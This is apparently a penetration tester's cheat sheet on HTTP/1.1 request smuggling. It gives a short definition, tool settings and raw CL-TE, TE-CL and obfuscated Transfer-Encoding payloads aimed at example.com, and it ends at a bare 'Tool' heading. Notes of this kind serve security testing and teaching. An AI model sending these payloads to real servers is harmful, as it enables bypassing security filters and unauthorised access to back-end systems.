What is Request Smuggling HTTP/1.1

A vulnerability where attackers exploit discrepancies in how HTTP/1.1 requests are parsed by different servers (e.g., a proxy and a backend). By manipulating headers like Transfer-Encoding and Content-Length, an attacker can craft requests that are interpreted differently by each server, potentially bypassing security filters, causing unauthorized access, or smuggling malicious requests to be processed by the backend.


Methodology

# IMPORTANT SETTING
- Remove update content length
- Set request as HTTP/1.1 (Setting & Request)
- Enalbe visualisation of the \r \n characters

Important to understand that (\r & \n) count as characters during process
---------------------------------------------------------------------------------

# Identify the Front-End Server header

Content-Length (CL) or Transfer-Encoding (TE)

----------------------------------------------------------------------------------
# Identify the Front-End Server header

Content-Length (CL) or Transfer-Encoding (TE)

Payloads

# CL-TE

POST / HTTP/1.1
Host: example.com
Content-Length: 6
Transfer-Encoding: chunked

0

GPOST / HTTP/1.1
Host: example.com

----------------------------------------------------------------------------------
# TE-CL

POST / HTTP/1.1 
Host: example.com
Transfer-Encoding: chunked
Content-Length: 6

0

X

----------------------------------------------------------------------------------
# TE-TE (obfuscating the TE header)

Transfer-Encoding: xchunked 
Transfer-Encoding : chunked 
Transfer-Encoding: chunked 
Transfer-Encoding: x Transfer-Encoding:[tab]chunked 
[space]Transfer-Encoding: chunked 
X: X[]Transfer-Encoding: chunked 
Transfer-Encoding : chunked

Tool